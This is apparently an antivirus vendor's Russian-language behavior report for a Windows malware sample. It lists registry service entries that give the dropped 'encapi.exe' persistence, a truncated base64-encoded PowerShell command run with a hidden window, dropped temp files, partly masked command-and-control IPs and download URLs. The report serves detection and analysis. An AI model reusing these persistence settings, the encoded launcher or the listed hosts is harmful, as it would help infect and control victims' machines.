Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\encapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\encapi] 'ImagePath' = '"%WINDIR%\SysWOW64\dsuiext\encapi.exe"'
- 'encapi' "%WINDIR%\SysWOW64\dsuiext\encapi.exe"
- 'encapi' %WINDIR%\SysWOW64\dsuiext\encapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFADMANwB6AGcAagBlAD0AKAAnAFQAJwArACcAMgA0ACcAKwAnADkAagB1AHgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBGAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\wl0ra8ue0.exe
- %TEMP%\office2019\wl0ra8ue0.exe в %WINDIR%\syswow64\dsuiext\encapi.exe
- '13#.#19.36.33':80
- '11#.#02.234.183':8080
- '69.##.203.214':8080
- '20#.#97.146.48':80
- '87.##6.136.232':8080
- '15#.#63.83.106':80
- '91.##1.88.52':7080
- '93.##7.212.206':80
- '22#.#14.218.37':4143
- '18#.#12.199.126':443
- http://av####oolvsa.zt.ua/bin/N/
- http://11#.###.234.183:8080/24qeOQrDLrtNtHo/plt0Z/ via 11#.#02.234.183
- http://69.##.203.214:8080/QULRlPCH0h6JYxL2FDs/mspjmTO6q5a/ky5cxp4WIYtLLcx/5EZIsh5x4/ via 69.##.203.214
- DNS ASK av####oolvsa.zt.ua
- '%TEMP%\office2019\wl0ra8ue0.exe'
- '%WINDIR%\syswow64\dsuiext\encapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFADMANwB6AGcAagBlAD0AKAAnAFQAJwArACcAMgA0ACcAKwAnADkAagB1AHgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBGAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)